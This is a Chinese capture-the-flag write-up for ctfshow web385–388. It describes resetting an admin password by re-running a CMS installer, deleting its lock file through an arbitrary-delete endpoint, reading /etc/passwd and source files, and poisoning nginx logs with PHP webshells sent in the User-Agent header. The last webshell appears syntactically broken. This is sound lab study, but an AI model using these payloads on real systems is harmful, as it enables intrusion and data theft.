目录
web385


和上一题的步骤一样,打开页面源代码
访问/alsckdfy

还是那个登录窗口,思路和上一题应该是不一样的

目录扫描发现了新东西
/install

访问/install
通过返回的信息能够知道,需要访问install/?install,然后重新安装

https://333ab657-fac8-418e-87bc-27bae1f759fa.challenge.ctf.show/install/?install
安装好了,管理员密码被重置为默认密码了

返回登录框,使用 admin/admin888 进行登录,
这是第一次做web383 对这个登录框进行爆破的时候得到的密码

ctfshow{b4b4f022-5b6b-4af8-b66f-ccbcdc93a6cd}

web386


还是这个路径
/alsckdfy


目录扫描下

访问 install
返回:lock.dat存在,你已经安装过了,请勿重复安装
这个 lock.dat 是安装锁文件,很多 CMS 都有
lock.dat 本质的作用是告诉系统,CMS 已经安装完成了
攻击者可以通过删除安装锁,重新安装"安装锁",来重置后台密码,来进入后台找到 flag

访问/intstall/lock.dat,下载到了 lock.dat 这个文件

打开 lock.dat,里面是一个 OK,说明这个安装锁是安装好的

访问/clear.php
返回清理完成

通过测试,能够通过 clear.php 将 lock.dat 删除掉
clear.php?file=/var/www/html/install/lock.dat
这个网站使用的服务器是 nginx 服务器
/var/www/html/ 是 Linux web 服务器的网站根目录

再次访问/install
需要通过访问 install/?install,来重新安装 ,然后重置管理员密码为默认密码

/install/?install

默认密码是 admin/admin888

ctfshow{b98063a3-a2df-44e6-9557-82cc5d1f6c57}

第二种方法
通过目录扫描得到的路径
访问/page.php
通过对这个返回路径进行分析测试,知道了这里有路径穿越漏洞

查看源码

知道了 page.php 的源码

访问/install/index

查看源码

error_reporting(0);
$dbhost ="127.0.0.1";
$dbuser = "root";
$dbpwd = "root";
$dbname = "ctfshow";
$charName = "utf-8";
$file = 'lock.dat';
if(file_exists($file)){ //判断这个路径的文件是否存在,
die('lock.dat存在,你已经安装过了,请勿重复安装');
}
echo '请务必在安装成功后删除本文件';
echo '<br>需要重新安装请访问install/?install,管理员密码将重置为默认密码';
if(isset($_GET['install'])){
$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
if(mysqli_connect_errno()){
die(json_encode(array(mysqli_connect_error())));
}
$sql = "update admin_user set username='admin',password='admin888' where username='admin';";
$result = $conn->query($sql);
echo '<br>安装成功,请立即删除本文件';
}
在登录框进行登录的时候会返回这个路径,如果账户密码正确,登录进去就能够看到 flag
对 /alsckdfy/check.php 路径进行目录穿越
对这个路径访问下


查看源码,得到 flag
$flag='ctfshow{98b6815a-ed6d-48d0-bd17-f5839cd57abb}';

<?php
error_reporting(0);
require_once "config.php";
$flag='ctfshow{98b6815a-ed6d-48d0-bd17-f5839cd57abb}';
$u=$_POST['u'];
$p=$_POST['p'];
if(isset($u) && isset($p)){
$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
if(mysqli_connect_errno()){
die(json_encode(array(mysqli_connect_error())));
}
$conn->query("set name $charName");
$num = 1;
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>$num,
"data"=>array()
);
if(!preg_match('/^[A-Za-z0-9]+$/i', $u)){
die('error');
}
if(!preg_match('/^[A-Za-z0-9]+$/i', $p)){
die('error');
}
$sql = "select id,username,password from admin_user where username = '".$u."' and password = '".$p."';";
$result = $conn->query($sql);
if($row = $result->fetch_object()){
echo $flag;
}else{
echo 'error';
}
}else{
die('error');
}
?>
web387

题目提示说前面部分和上一题是一样的
前面部分和386一样
目录扫描一波

和上一题一样,对 /var/www/html/install/lock.dat 进行删除
发现并不行,这里做了限制,不让删除安装文件

/robots.txt 中的是/debug 路径

/debug
返回文件不存在

通过尝试,发现能够读取文件
/debug/?file=/etc/passwd

测试是否有文件包含漏洞
/debug/?file=/var/log/nginx/access.log
/var/log/nginx/access.log 是 Nginx 的访问日志文件
这一题使用的服务器是 nginx1.20.1,后端语言是 php7.3.22

这里日志都能够访问,通过 UA 头写入木马,来获取 flag
为什么通过 UA 头写入木马呢,因为 UA 头是可控的
<?=system('cat ../alsckdfy/check.php > 111.txt')?>
使用 system 函数执行,直接读取 flag 的存放文件位置,然后将读取出来的内容存放到 111.txt 中

访问/debug/111.txt
得到 flag
$flag='ctfshow{e4bb64c0-24f3-4e53-83d4-6ac58c286ae3}';

web388

目录扫描

和上一题差不多
访问
/debug/?file=/etc/passwd
返回测试结果已写入日志,这说明还是能够通过将木马写入到日志中去执行读取 flag 的

抓这个路径的包,然后通过 UA 头写入木马,放包
/debug/?file=/var/log/nginx/access.log

有过滤,上一题的木马不能够使用了
使用这个拼接绕过关键字检测的木马
User-Agent: <?php a="she"."ll_exec";b="cat ../alsckdfy/check.php > 111.txt";a(b);?>

访问
/debug/111.txt
$flag='ctfshow{9c1d6e2d-e151-485f-a8d9-9942f41798da}';
